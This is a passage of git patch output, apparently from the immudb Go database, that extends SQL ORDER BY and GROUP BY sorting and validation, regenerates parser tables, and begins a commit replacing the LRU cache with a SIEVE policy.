_ := k1.Compare(k2) - if desc { - return res > 0 + sr.sorter.cmp = func(t1, t2 Tuple) int { + sr.extractSortKey(t1, k1) + sr.extractSortKey(t2, k2) + + res, idx, _ := k1.Compare(k2) + if idx >= 0 { + return res * int(directions[idx]) } - return res <= 0 + return res } return sr, nil } @@ -95,15 +114,19 @@ func getColTypes(r RowReader) ([]string, error) { return cols, err } -func getSortKeysPositions(colPosBySelector map[string]int, selectors []Selector, tableAlias string) []int { - sortKeysPositions := make([]int, len(selectors)) - for i, sel := range selectors { - aggFn, table, col := sel.resolve(tableAlias) +func getSortKeysPositions(colPosBySelector map[string]int, cols []*OrdCol, tableAlias string) ([]int, error) { + sortKeysPositions := make([]int, len(cols)) + for i, col := range cols { + aggFn, table, col := col.sel.resolve(tableAlias) encSel := EncodeSelector(aggFn, table, col) - pos := colPosBySelector[encSel] + + pos, exists := colPosBySelector[encSel] + if !exists { + return nil, ErrColumnDoesNotExist + } sortKeysPositions[i] = pos } - return sortKeysPositions + return sortKeysPositions, nil } func getColPositionsBySelector(desc []ColDescriptor) (map[string]int, error) { @@ -114,12 +137,10 @@ func getColPositionsBySelector(desc []ColDescriptor) (map[string]int, error) { return colPositionsBySelector, nil } -func (sr *sortRowReader) extractSortKey(t Tuple) Tuple { - sortKey := make([]TypedValue, len(sr.sortKeysPositions)) +func (sr *sortRowReader) extractSortKey(t Tuple, out Tuple) { for i, pos := range sr.sortKeysPositions { - sortKey[i] = t[pos] + out[i] = t[pos] } - return sortKey } func getOrderByDescriptors(descriptors []ColDescriptor, sortKeysPositions []int) []ColDescriptor { diff --git a/embedded/sql/sort_reader_test.go b/embedded/sql/sort_reader_test.go index c7aa0599b3..0f2c26ae18 100644 --- a/embedded/sql/sort_reader_test.go +++ b/embedded/sql/sort_reader_test.go @@ -31,7 +31,7 @@ func TestSortRowReader(t *testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, err = newSortRowReader(nil, nil, false) + _, err = newSortRowReader(nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) @@ -47,10 +47,10 @@ func TestSortRowReader(t *testing.T) { table := tx.catalog.tables[0] - r, err := newRawRowReader(tx, nil, table, period{}, "", &ScanSpecs{Index: table.primaryIndex, SortRequired: true}) + r, err := newRawRowReader(tx, nil, table, period{}, "", &ScanSpecs{Index: table.primaryIndex}) require.NoError(t, err) - sr, err := newSortRowReader(r, []Selector{&ColSelector{col: "number"}}, false) + sr, err := newSortRowReader(r, []*OrdCol{{sel: &ColSelector{col: "number"}}}) require.NoError(t, err) orderBy := sr.OrderBy() @@ -68,6 +68,5 @@ func TestSortRowReader(t *testing.T) { scanSpecs := sr.ScanSpecs() require.NotNil(t, scanSpecs) require.NotNil(t, scanSpecs.Index) - require.True(t, scanSpecs.SortRequired) require.True(t, scanSpecs.Index.IsPrimary()) } diff --git a/embedded/sql/sql_grammar.y b/embedded/sql/sql_grammar.y index 49f44cca96..0d1767d939 100644 --- a/embedded/sql/sql_grammar.y +++ b/embedded/sql/sql_grammar.y @@ -884,12 +884,12 @@ opt_indexon: } ordcols: - col opt_ord + selector opt_ord { $$ = []*OrdCol{{sel: $1, descOrder: $2}} } | - ordcols ',' col opt_ord + ordcols ',' selector opt_ord { $$ = append($1, &OrdCol{sel: $3, descOrder: $4}) } diff --git a/embedded/sql/sql_parser.go b/embedded/sql/sql_parser.go index da02cf942b..c65c81e00f 100644 --- a/embedded/sql/sql_parser.go +++ b/embedded/sql/sql_parser.go @@ -280,100 +280,100 @@ const yyPrivate = 57344 const yyLast = 447 var yyAct = [...]int16{ - 92, 359, 78, 221, 129, 260, 169, 290, 294, 107, - 175, 209, 166, 289, 266, 6, 210, 121, 243, 190, - 57, 124, 98, 330, 20, 281, 219, 280, 253, 219, - 219, 219, 341, 219, 335, 334, 315, 313, 282, 254, - 95, 220, 331, 97, 325, 316, 314, 110, 106, 305, - 19, 91, 180, 276, 108, 109, 148, 295, 274, 111, - 273, 101, 102, 103, 104, 105, 79, 271, 146, 147, - 77, 96, 252, 250, 296, 291, 100, 133, 238, 237, - 218, 142, 143, 145, 144, 157, 249, 126, 207, 242, - 157, 234, 141, 233, 232, 95, 152, 153, 97, 231, - 192, 155, 110, 106, 178, 179, 181, 158, 156, 108, - 109, 154, 183, 135, 111, 132, 101, 102, 103, 104, - 105, 79, 120, 171, 119, 22, 96, 148, 358, 177, - 352, 100, 251, 168, 122, 187, 148, 182, 318, 253, - 148, 172, 239, 195, 196, 197, 198, 199, 200, 147, - 319, 184, 146, 147, 145, 144, 80, 208, 211, 219, - 133, 142, 143, 145, 144, 142, 143, 145, 144, 186, - 206, 212, 128, 148, 173, 226, 114, 80, 90, 224, - 213, 148, 227, 217, 79, 146, 147, 235, 194, 236, - 75, 312, 311, 229, 286, 225, 80, 228, 142, 143, - 145, 144, 131, 79, 248, 241, 142, 143, 145, 144, - 277, 30, 240, 205, 10, 12, 11, 318, 31, 80, - 62, 167, 302, 262, 130, 288, 275, 258, 264, 125, - 216, 215, 214, 270, 191, 193, 256, 13, 188, 112, - 185, 159, 136, 113, 7, 83, 8, 9, 14, 15, - 211, 81, 16, 17, 287, 283, 73, 41, 20, 278, - 66, 191, 293, 65, 64, 284, 285, 139, 140, 61, - 297, 56, 55, 292, 174, 269, 301, 63, 303, 304, - 151, 306, 299, 298, 19, 329, 310, 29, 20, 150, - 45, 247, 211, 309, 230, 202, 328, 148, 95, 134, - 82, 97, 201, 320, 203, 110, 106, 204, 51, 321, - 182, 324, 108, 109, 19, 72, 326, 111, 42, 101, - 102, 103, 104, 105, 79, 261, 332, 20, 344, 96, - 340, 339, 360, 361, 100, 351, 50, 222, 345, 338, - 323, 347, 43, 44, 46, 122, 337, 350, 300, 353, - 127, 39, 48, 19, 356, 357, 354, 349, 342, 333, - 70, 362, 52, 53, 363, 176, 259, 257, 38, 37, + 92, 359, 98, 78, 260, 129, 221, 169, 290, 294, + 107, 175, 166, 209, 289, 266, 210, 6, 121, 243, + 190, 57, 124, 20, 330, 180, 281, 219, 280, 253, + 219, 341, 219, 219, 334, 335, 219, 315, 313, 95, + 282, 254, 97, 331, 220, 325, 110, 106, 316, 19, + 77, 314, 295, 108, 109, 148, 305, 276, 111, 91, + 101, 102, 103, 104, 105, 79, 274, 146, 147, 296, + 96, 273, 271, 252, 250, 100, 291, 178, 179, 181, + 142, 143, 145, 144, 238, 183, 237, 207, 148, 126, + 218, 133, 141, 249, 242, 157, 152, 153, 234, 157, + 233, 155, 177, 95, 232, 231, 97, 192, 158, 156, + 110, 106, 154, 142, 143, 145, 144, 108, 109, 358, + 135, 132, 111, 171, 101, 102, 103, 104, 105, 79, + 120, 184, 251, 168, 96, 119, 187, 22, 182, 100, + 148, 80, 172, 195, 196, 197, 198, 199, 200, 80, + 352, 148, 146, 147, 186, 319, 79, 208, 211, 148, + 122, 318, 75, 146, 147, 142, 143, 145, 144, 253, + 239, 212, 206, 219, 128, 226, 142, 143, 145, 144, + 224, 213, 90, 227, 133, 114, 145, 144, 235, 217, + 236, 194, 80, 312, 95, 229, 225, 97, 228, 79, + 173, 110, 106, 311, 248, 241, 286, 131, 108, 109, + 277, 240, 205, 111, 148, 101, 102, 103, 104, 105, + 79, 62, 318, 262, 80, 96, 167, 147, 30, 130, + 100, 264, 302, 288, 270, 31, 275, 256, 258, 142, + 143, 145, 144, 112, 125, 216, 215, 214, 191, 193, + 211, 188, 185, 159, 287, 283, 136, 113, 83, 81, + 278, 191, 293, 10, 12, 11, 285, 284, 73, 297, + 41, 139, 140, 66, 292, 65, 64, 301, 63, 303, + 304, 61, 306, 299, 298, 56, 13, 55, 174, 269, + 20, 45, 211, 7, 329, 8, 9, 14, 15, 151, + 247, 16, 17, 230, 29, 320, 328, 20, 150, 321, + 148, 182, 324, 310, 202, 134, 19, 326, 51, 203, + 309, 201, 204, 42, 82, 72, 50, 332, 360, 361, + 344, 340, 339, 19, 261, 222, 20, 351, 345, 338, + 323, 337, 347, 43, 44, 46, 122, 300, 127, 353, + 350, 39, 52, 53, 356, 354, 357, 48, 349, 342, + 333, 362, 19, 70, 363, 176, 259, 257, 38, 37, 23, 307, 161, 162, 163, 160, 117, 255, 348, 24, - 28, 263, 137, 40, 84, 223, 54, 36, 2, 272, - 164, 85, 34, 89, 88, 25, 27, 26, 138, 115, - 116, 118, 35, 67, 68, 69, 86, 32, 170, 33, - 21, 49, 59, 60, 244, 245, 246, 317, 123, 149, + 28, 85, 263, 40, 137, 84, 223, 54, 2, 272, + 164, 34, 36, 89, 88, 25, 27, 26, 138, 115, + 116, 59, 60, 67, 68, 69, 32, 35, 33, 118, + 170, 49, 244, 245, 246, 86, 21, 317, 123, 149, 308, 327, 343, 355, 279, 322, 94, 93, 336, 268, 267, 265, 87, 58, 71, 47, 76, 74, 99, 346, 165, 189, 18, 5, 4, 3, 1, } var yyPact = [...]int16{ - 210, -1000, -1000, 26, -1000, -1000, -1000, 335, -1000, -1000, - 372, 204, 384, 379, 329, 328, 301, 174, 256, 267, - 303, -1000, 210, -1000, 242, 242, 242, 361, 189, -1000, - 188, 396, 186, 194, 181, 180, 177, 174, 174, 174, - 316, -1000, 252, -1000, -1000, 173, -1000, 94, -1000, -1000, - 168, 236, 162, 358, 242, 397, -1000, -1000, 375, 31, - 31, -1000, 160, 84, -1000, 371, 392, 24, 22, 292, - 146, 240, -1000, -1000, 300, -1000, 79, 141, -1000, 15, - 68, -1000, 232, 13, 159, 356, 388, -1000, 31, 31, - -1000, 234, 104, 216, -1000, 234, 234, 11, -1000, -1000, - 234, -1000, -1000, -1000, -1000, -1000, 8, -1000, -1000, -1000, - -1000, -15, -1000, 7, 158, 344, 342, 343, 380, 138, - 138, 402, 234, 81, -1000, 192, -1000, 29, 113, -1000, - -1000, 157, 73, 155, -1000, 151, 0, 152, 101, -1000, - -1000, 104, 234, 234, 234, 234, 234, 234, 231, 239, - 129, -1000, 67, 58, 240, -13, 234, 234, 138, -1000, - 151, 149, 148, 147, 96, -21, 66, -1000, -60, 281, - 360, 104, 402, 146, 234, 402, 396, 279, -1, -6, - -7, -9, 141, -10, 141, -1000, -22, -23, -1000, 49, - -1000, 128, 138, -11, 403, 58, 58, 228, 228, 67, - 112, -1000, 220, 234, -14, -1000, -28, -1000, 71, -29, - 46, 104, -62, -1000, -1000, 347, -1000, 403, 326, 144, - 325, 268, 234, 355, 281, -1000, 104, 195, 141, -34, - 368, -41, -43, 143, -48, -1000, -1000, -1000, -1000, 178, - -75, -63, 138, -1000, -1000, -1000, -1000, -1000, 67, -24, - -1000, 110, -1000, 234, -1000, 142, -1000, -25, -1000, -25, - -1000, 234, 104, -26, 268, 292, -1000, 195, 297, -1000, - -1000, 141, 139, 141, 141, -52, 141, 338, -1000, 222, - 107, 106, -1000, -64, -55, -65, -56, 104, -1000, 124, - -1000, 234, 45, 104, -1000, -1000, 138, -1000, 286, -1000, - 29, -1000, -57, -1000, -1000, -1000, -1000, -26, 226, -1000, - 214, -80, -59, -1000, -1000, -1000, -1000, -1000, -25, 314, - -66, -67, 294, 284, 402, 141, -69, -1000, -1000, -1000, - -1000, -1000, -1000, 312, -1000, -1000, 270, 234, 136, 352, - -1000, -1000, 310, 281, 280, 104, 37, -1000, 234, -1000, - 268, 136, 136, 104, -1000, 35, 273, -1000, 136, -1000, - -1000, -1000, 273, -1000, + 259, -1000, -1000, 38, -1000, -1000, -1000, 335, -1000, -1000, + 372, 221, 383, 384, 329, 328, 301, 187, 261, 268, + 308, -1000, 259, -1000, 252, 252, 252, 362, 204, -1000, + 202, 385, 198, 195, 193, 192, 190, 187, 187, 187, + 319, -1000, 262, -1000, -1000, 185, -1000, 66, -1000, -1000, + 176, 260, 175, 359, 252, 406, -1000, -1000, 375, 39, + 39, -1000, 174, 93, -1000, 371, 400, 35, 30, 293, + 161, 242, -1000, -1000, 298, -1000, 81, 146, -1000, 21, + 92, -1000, 248, 20, 173, 358, 388, -1000, 39, 39, + -1000, 130, 82, 235, -1000, 130, 130, 12, -1000, -1000, + 130, -1000, -1000, -1000, -1000, -1000, 9, -1000, -1000, -1000, + -1000, -1, -1000, 8, 170, 344, 342, 343, 380, 143, + 143, 404, 130, 107, -1000, 206, -1000, 2, 109, -1000, + -1000, 169, 58, 168, -1000, 165, 7, 166, 104, -1000, + -1000, 82, 130, 130, 130, 130, 130, 130, 250, 254, + 128, -1000, 145, 90, 242, -14, 130, 130, 143, -1000, + 165, 164, 163, 162, 102, -11, 80, -1000, -57, 279, + 361, 82, 404, 161, 130, 404, 385, 288, 5, 4, + 0, -2, 146, -5, 146, -1000, -15, -17, -1000, 77, + -1000, 127, 143, -6, 401, 90, 90, 241, 241, 145, + 19, -1000, 229, 130, -7, -1000, -27, -1000, 71, -28, + 76, 82, -60, -1000, -1000, 347, -1000, 401, 326, 155, + 325, 277, 130, 356, 279, -1000, 82, 209, 146, -29, + 368, -30, -35, 153, -44, -1000, -1000, -1000, -1000, 178, + -74, -61, 143, -1000, -1000, -1000, -1000, -1000, 145, -25, + -1000, 122, -1000, 130, -1000, 150, -1000, -24, -1000, -24, + -1000, 130, 82, -31, 277, 293, -1000, 209, 296, -1000, + -1000, 146, 149, 146, 146, -45, 146, 338, -1000, 249, + 118, 108, -1000, -63, -50, -64, -53, 82, -1000, 129, + -1000, 130, 68, 82, -1000, -1000, 143, -1000, 286, -1000, + 2, -1000, -56, -1000, -1000, -1000, -1000, -31, 236, -1000, + 223, -79, -58, -1000, -1000, -1000, -1000, -1000, -24, 315, + -67, -66, 289, 284, 404, 146, -70, -1000, -1000, -1000, + -1000, -1000, -1000, 313, -1000, -1000, 272, 130, 141, 352, + -1000, -1000, 311, 279, 282, 82, 57, -1000, 130, -1000, + 277, 109, 141, 82, -1000, 26, 269, -1000, 109, -1000, + -1000, -1000, 269, -1000, } var yyPgo = [...]int16{ - 0, 446, 388, 445, 444, 443, 15, 442, 441, 19, - 12, 8, 440, 439, 13, 7, 16, 11, 438, 9, - 22, 437, 436, 2, 435, 434, 10, 365, 20, 433, - 432, 178, 431, 14, 430, 429, 0, 17, 428, 427, - 426, 425, 3, 5, 424, 4, 423, 422, 1, 6, - 336, 421, 420, 419, 21, 418, 417, 18, 410, + 0, 446, 388, 445, 444, 443, 17, 442, 441, 20, + 12, 9, 440, 439, 14, 8, 16, 13, 438, 10, + 2, 437, 436, 3, 435, 434, 11, 365, 21, 433, + 432, 182, 431, 15, 430, 429, 0, 18, 428, 427, + 426, 425, 6, 4, 424, 5, 423, 422, 1, 7, + 326, 421, 420, 419, 22, 418, 417, 19, 416, } var yyR1 = [...]int8{ @@ -454,8 +454,8 @@ var yyChk = [...]int16{ -17, -10, -41, 54, -26, 101, -11, -51, 70, 71, 103, 101, -15, 45, 101, 101, -38, 52, 55, -49, -45, 101, 46, -47, 58, -36, -13, -23, 26, 47, - -42, 55, 93, -36, -43, -46, -23, -23, 93, -48, - 59, 60, -23, -48, + -42, 55, 93, -36, -43, -46, -20, -23, 93, -48, + 59, 60, -20, -48, } var yyDef = [...]int16{ @@ -1575,12 +1575,12 @@ yydefault: case 141: yyDollar = yyS[yypt-2 : yypt+1] { - yyVAL.ordcols = []*OrdCol{{sel: yyDollar[1].col, descOrder: yyDollar[2].opt_ord}} + yyVAL.ordcols = []*OrdCol{{sel: yyDollar[1].sel, descOrder: yyDollar[2].opt_ord}} } case 142: yyDollar = yyS[yypt-4 : yypt+1] { - yyVAL.ordcols = append(yyDollar[1].ordcols, &OrdCol{sel: yyDollar[3].col, descOrder: yyDollar[4].opt_ord}) + yyVAL.ordcols = append(yyDollar[1].ordcols, &OrdCol{sel: yyDollar[3].sel, descOrder: yyDollar[4].opt_ord}) } case 143: yyDollar = yyS[yypt-0 : yypt+1] diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 63155bbf9a..15dd136e2f 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -1558,16 +1558,18 @@ type TypedValue interface { type Tuple []TypedValue -func (t Tuple) Compare(other Tuple) (int, error) { - i := 0 - for i < len(t) && i < len(other) { +func (t Tuple) Compare(other Tuple) (int, int, error) { + if len(t) != len(other) { + return -1, -1, ErrNotComparableValues + } + + for i := range t { res, err := t[i].Compare(other[i]) if err != nil || res != 0 { - return res, err + return res, i, err } - i++ } - return len(t) - len(other), nil + return 0, -1, nil } func NewNull(t SQLValueType) *NullValue { @@ -2480,16 +2482,49 @@ func (stmt *SelectStmt) execAt(ctx context.Context, tx *SQLTx, params map[string return nil, ErrHavingClauseRequiresGroupClause } - if len(stmt.groupBy) > 1 { - return nil, ErrLimitedGroupBy + if stmt.containsAggregations() || len(stmt.groupBy) > 0 { + for _, sel := range stmt.selectors { + _, isAgg := sel.(*AggColSelector) + if !isAgg && !stmt.groupByContains(sel) { + return nil, fmt.Errorf("%s: %w", EncodeSelector(sel.resolve(stmt.Alias())), ErrColumnMustAppearInGroupByOrAggregation) + } + } } - if len(stmt.orderBy) > 1 { - return nil, ErrLimitedOrderBy + if len(stmt.orderBy) > 0 { + for _, col := range stmt.orderBy { + sel := col.sel + _, isAgg := sel.(*AggColSelector) + if (isAgg && !stmt.containsSelector(sel)) || (!isAgg && len(stmt.groupBy) > 0 && !stmt.groupByContains(sel)) { + return nil, fmt.Errorf("%s: %w", EncodeSelector(sel.resolve(stmt.Alias())), ErrColumnMustAppearInGroupByOrAggregation) + } + } } return tx, nil } +func (stmt *SelectStmt) containsSelector(s Selector) bool { + encSel := EncodeSelector(s.resolve(stmt.Alias())) + + for _, sel := range stmt.selectors { + if EncodeSelector(sel.resolve(stmt.Alias())) == encSel { + return true + } + } + return false +} + +func (stmt *SelectStmt) groupByContains(sel Selector) bool { + encSel := EncodeSelector(sel.resolve(stmt.Alias())) + + for _, colSel := range stmt.groupBy { + if EncodeSelector(colSel.resolve(stmt.Alias())) == encSel { + return true + } + } + return false +} + func (stmt *SelectStmt) Resolve(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (ret RowReader, err error) { scanSpecs, err := stmt.genScanSpecs(tx, params) if err != nil { @@ -2507,7 +2542,8 @@ func (stmt *SelectStmt) Resolve(ctx context.Context, tx *SQLTx, params map[strin }() if stmt.joins != nil { - jointRowReader, err := newJointRowReader(rowReader, stmt.joins) + var jointRowReader *jointRowReader + jointRowReader, err = newJointRowReader(rowReader, stmt.joins) if err != nil { return nil, err } @@ -2518,28 +2554,18 @@ func (stmt *SelectStmt) Resolve(ctx context.Context, tx *SQLTx, params map[strin rowReader = newConditionalRowReader(rowReader, stmt.where) } - if scanSpecs.SortRequired { - rowReader, err = newSortRowReader(rowReader, stmt.orderBySelectors(), scanSpecs.DescOrder) - if err != nil { - return nil, err - } - } - - containsAggregations := false - for _, sel := range stmt.selectors { - _, containsAggregations = sel.(*AggColSelector) - if containsAggregations { - break - } - } - - if containsAggregations { - var groupBy []*ColSelector - if stmt.groupBy != nil { - groupBy = stmt.groupBy + if stmt.containsAggregations() || len(stmt.groupBy) > 0 { + if len(scanSpecs.groupBySortColumns) > 0 { + var sortRowReader *sortRowReader + sortRowReader, err = newSortRowReader(rowReader, scanSpecs.groupBySortColumns) + if err != nil { + return nil, err + } + rowReader = sortRowReader } - groupedRowReader, err := newGroupedRowReader(rowReader, stmt.selectors, groupBy) + var groupedRowReader *groupedRowReader + groupedRowReader, err = newGroupedRowReader(rowReader, stmt.selectors, stmt.groupBy) if err != nil { return nil, err } @@ -2550,6 +2576,15 @@ func (stmt *SelectStmt) Resolve(ctx context.Context, tx *SQLTx, params map[strin } } + if len(scanSpecs.orderBySortCols) > 0 { + var sortRowReader *sortRowReader + sortRowReader, err = newSortRowReader(rowReader, stmt.orderBy) + if err != nil { + return nil, err + } + rowReader = sortRowReader + } + projectedRowReader, err := newProjectedRowReader(ctx, rowReader, stmt.as, stmt.selectors) if err != nil { return nil, err @@ -2557,7 +2592,8 @@ func (stmt *SelectStmt) Resolve(ctx context.Context, tx *SQLTx, params map[strin rowReader = projectedRowReader if stmt.distinct { - distinctRowReader, err := newDistinctRowReader(ctx, rowReader) + var distinctRowReader *distinctRowReader + distinctRowReader, err = newDistinctRowReader(ctx, rowReader) if err != nil { return nil, err } @@ -2565,7 +2601,8 @@ func (stmt *SelectStmt) Resolve(ctx context.Context, tx *SQLTx, params map[strin } if stmt.offset != nil { - offset, err := evalExpAsInt(tx, stmt.offset, params) + var offset int + offset, err = evalExpAsInt(tx, stmt.offset, params) if err != nil { return nil, fmt.Errorf("%w: invalid offset", err) } @@ -2574,7 +2611,8 @@ func (stmt *SelectStmt) Resolve(ctx context.Context, tx *SQLTx, params map[strin } if stmt.limit != nil { - limit, err := evalExpAsInt(tx, stmt.limit, params) + var limit int + limit, err = evalExpAsInt(tx, stmt.limit, params) if err != nil { return nil, fmt.Errorf("%w: invalid limit", err) } @@ -2591,6 +2629,64 @@ func (stmt *SelectStmt) Resolve(ctx context.Context, tx *SQLTx, params map[strin return rowReader, nil } +func (stmt *SelectStmt) rearrangeOrdColumns(groupByCols, orderByCols []*OrdCol) ([]*OrdCol, []*OrdCol) { + if len(groupByCols) > 0 && len(orderByCols) > 0 && !ordColumnsHaveAggregations(orderByCols) { + if ordColsHasPrefix(orderByCols, groupByCols, stmt.Alias()) { + return orderByCols, nil + } + + if ordColsHasPrefix(groupByCols, orderByCols, stmt.Alias()) { + for i := range orderByCols { + groupByCols[i].descOrder = orderByCols[i].descOrder + } + return groupByCols, nil + } + } + return groupByCols, orderByCols +} + +func ordColsHasPrefix(cols, prefix []*OrdCol, table string) bool { + if len(prefix) > len(cols) { + return false + } + + for i := range prefix { + if EncodeSelector(prefix[i].sel.resolve(table)) != EncodeSelector(cols[i].sel.resolve(table)) { + return false + } + } + return true +} + +func (stmt *SelectStmt) groupByOrdColumns() []*OrdCol { + groupByCols := stmt.groupBy + + ordCols := make([]*OrdCol, 0, len(groupByCols)) + for _, col := range groupByCols { + ordCols = append(ordCols, &OrdCol{sel: col}) + } + return ordCols +} + +func ordColumnsHaveAggregations(cols []*OrdCol) bool { + for _, ordCol := range cols { + if _, isAgg := ordCol.sel.(*AggColSelector); isAgg { + return true + } + } + return false +} + +func (stmt *SelectStmt) containsAggregations() bool { + for _, sel := range stmt.selectors { + _, isAgg := sel.(*AggColSelector) + if isAgg { + return true + } + } + return false +} + func evalExpAsInt(tx *SQLTx, exp ValueExp, params map[string]interface{}) (int, error) { offset, err := exp.substitute(params) if err != nil { @@ -2628,14 +2724,15 @@ func (stmt *SelectStmt) Alias() string { } func (stmt *SelectStmt) genScanSpecs(tx *SQLTx, params map[string]interface{}) (*ScanSpecs, error) { - sortingRequired := len(stmt.orderBy) > 0 - descOrder := sortingRequired && stmt.orderBy[0].descOrder + groupByCols, orderByCols := stmt.groupByOrdColumns(), stmt.orderBy tableRef, isTableRef := stmt.ds.(*tableRef) if !isTableRef { + groupByCols, orderByCols = stmt.rearrangeOrdColumns(groupByCols, orderByCols) + return &ScanSpecs{ - SortRequired: sortingRequired, - DescOrder: descOrder, + groupBySortColumns: groupByCols, + orderBySortCols: orderByCols, }, nil } @@ -2652,51 +2749,67 @@ func (stmt *SelectStmt) genScanSpecs(tx *SQLTx, params map[string]interface{}) ( } } - preferredIndex, err := stmt.selectIndex(table) + preferredIndex, err := stmt.getPreferredIndex(table) if err != nil { return nil, err } var sortingIndex *Index - if len(stmt.orderBy) > 0 { - col, err := table.GetColumnByName(stmt.orderBy[0].sel.col) - if err != nil { - return nil, err - } - - for _, idx := range table.indexesByColID[col.id] { - if idx.sortableUsing(col.id, rangesByColID) { - if preferredIndex == nil || idx.id == preferredIndex.id { - sortingIndex = idx - sortingRequired = false - break - } - } - } + if preferredIndex == nil { + sortingIndex = stmt.selectSortingIndex(groupByCols, orderByCols, table, rangesByColID) + } else { + sortingIndex = preferredIndex } if sortingIndex == nil { - if preferredIndex == nil { - sortingIndex = table.primaryIndex - } else { - sortingIndex = preferredIndex - } + sortingIndex = table.primaryIndex } if tableRef.history && !sortingIndex.IsPrimary() { return nil, fmt.Errorf("%w: historical queries are supported over primary index", ErrIllegalArguments) } + var descOrder bool + if len(groupByCols) > 0 && sortingIndex.coversOrdCols(groupByCols, rangesByColID) { + groupByCols = nil + } + + if len(groupByCols) == 0 && len(orderByCols) > 0 && sortingIndex.coversOrdCols(orderByCols, rangesByColID) { + descOrder = orderByCols[0].descOrder + orderByCols = nil + } + + groupByCols, orderByCols = stmt.rearrangeOrdColumns(groupByCols, orderByCols) + return &ScanSpecs{ - Index: sortingIndex, - rangesByColID: rangesByColID, - IncludeHistory: tableRef.history, - DescOrder: descOrder, - SortRequired: sortingRequired, + Index: sortingIndex, + rangesByColID: rangesByColID, + IncludeHistory: tableRef.history, + DescOrder: descOrder, + groupBySortColumns: groupByCols, + orderBySortCols: orderByCols, }, nil } -func (stmt *SelectStmt) selectIndex(table *Table) (*Index, error) { +func (stmt *SelectStmt) selectSortingIndex(groupByCols, orderByCols []*OrdCol, table *Table, rangesByColId map[uint32]*typedValueRange) *Index { + sortCols := groupByCols + if len(sortCols) == 0 { + sortCols = orderByCols + } + + if len(sortCols) == 0 { + return nil + } + + for _, idx := range table.indexes { + if idx.coversOrdCols(sortCols, rangesByColId) { + return idx + } + } + return nil +} + +func (stmt *SelectStmt) getPreferredIndex(table *Table) (*Index, error) { if len(stmt.indexOn) == 0 { return nil, nil } @@ -2713,18 +2826,6 @@ func (stmt *SelectStmt) selectIndex(table *Table) (*Index, error) { return table.GetIndexByName(indexName(table.name, cols)) } -func (stmt *SelectStmt) orderBySelectors() []Selector { - var selectors []Selector - for _, col := range stmt.orderBy { - sel := &ColSelector{ - table: col.sel.table, - col: col.sel.col, - } - selectors = append(selectors, sel) - } - return selectors -} - type UnionStmt struct { distinct bool left, right DataSource @@ -2735,7 +2836,6 @@ func (stmt *UnionStmt) inferParameters(ctx context.Context, tx *SQLTx, params ma if err != nil { return err } - return stmt.right.inferParameters(ctx, tx, params) } @@ -2966,7 +3066,7 @@ type JoinSpec struct { } type OrdCol struct { - sel *ColSelector + sel Selector descOrder bool } From bde091c96499f8b445ed8aa09473d575eda21ab1 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Fri, 17 May 2024 10:42:02 +0200 Subject: [PATCH 1013/1062] Replace LRU with SIEVE replacement policy Signed-off-by: Stefano Scafiti --- cmd/immuadmin/command/database.go | 2 +- embedded/ahtree/ahtree.go | 8 +- ...dable_lru_cache.go => appendable_cache.go} | 14 +- ...cache_test.go => appendable_cache_test.go} | 9 +- embedded/appendable/multiapp/metrics.go | 2 +- embedded/appendable/multiapp/multi_app.go | 6 +- .../appendable/multiapp/multi_app_test.go | 2 +- .../appendable/remoteapp/remote_app_test.go | 2 +- embedded/cache/{lru_cache.go => cache.go} | 126 +++++++++++------- .../{lru_cache_test.go => cache_test.go} | 123 +++++++++++++++-- embedded/store/immustore.go | 10 +- embedded/store/options.go | 6 +- embedded/tbtree/tbtree.go | 4 +- pkg/api/schema/docs.md | 6 +- pkg/api/schema/schema.pb.go | 6 +- pkg/api/schema/schema.proto | 6 +- pkg/server/sessions/session.go | 4 +- 17 files changed, 229 insertions(+), 107 deletions(-) rename embedded/appendable/multiapp/{appendable_lru_cache.go => appendable_cache.go} (69%) rename embedded/appendable/multiapp/{appendable_lru_cache_test.go => appendable_cache_test.go} (92%) rename embedded/cache/{lru_cache.go => cache.go} (50%) rename embedded/cache/{lru_cache_test.go => cache_test.go} (65%) diff --git a/cmd/immuadmin/command/database.go b/cmd/immuadmin/command/database.go index e13e359ffa..9045004f06 100644 --- a/cmd/immuadmin/command/database.go +++ b/cmd/immuadmin/command/database.go @@ -57,7 +57,7 @@ func addDbUpdateFlags(c *cobra.Command) { c.Flags().Uint32("indexing-flush-threshold", tbtree.DefaultFlushThld, "number of new index entries between disk flushes") c.Flags().Float32("indexing-cleanup-percentage", tbtree.DefaultCleanUpPercentage, "percentage of node files cleaned up during each flush") c.Flags().Uint32("indexing-sync-threshold", tbtree.DefaultSyncThld, "number of new index entries between disk flushes with file sync") - c.Flags().Uint32("indexing-cache-size", tbtree.DefaultCacheSize, "size of the Btree node LRU cache (number of nodes)") + c.Flags().Uint32("indexing-cache-size", tbtree.DefaultCacheSize, "size of the Btree node cache (number of nodes)") c.Flags().Uint32("indexing-max-active-snapshots", tbtree.DefaultMaxActiveSnapshots, "maximum number of active btree snapshots") c.Flags().Uint32("write-tx-header-version", 1, "set write tx header version (use 0 for compatibility with immudb 1.1, 1 for immudb 1.2+)") diff --git a/embedded/ahtree/ahtree.go b/embedded/ahtree/ahtree.go index 2235518d2c..81ed96b674 100644 --- a/embedded/ahtree/ahtree.go +++ b/embedded/ahtree/ahtree.go @@ -71,8 +71,8 @@ type AHtree struct { cLogBuf []byte cLogBufCount int - pCache *cache.LRUCache - dCache *cache.LRUCache + pCache *cache.Cache + dCache *cache.Cache syncThld int readOnly bool @@ -171,12 +171,12 @@ func OpenWith(pLog, dLog, cLog appendable.Appendable, opts *Options) (*AHtree, e latestSyncedNode := uint64(cLogSize / cLogEntrySize) - pCache, err := cache.NewLRUCache(opts.dataCacheSlots) + pCache, err := cache.NewCache(opts.dataCacheSlots) if err != nil { return nil, err } - dCache, err := cache.NewLRUCache(opts.digestsCacheSlots) + dCache, err := cache.NewCache(opts.digestsCacheSlots) if err != nil { return nil, err } diff --git a/embedded/appendable/multiapp/appendable_lru_cache.go b/embedded/appendable/multiapp/appendable_cache.go similarity index 69% rename from embedded/appendable/multiapp/appendable_lru_cache.go rename to embedded/appendable/multiapp/appendable_cache.go index 9d2015e2b8..49e8e9a339 100644 --- 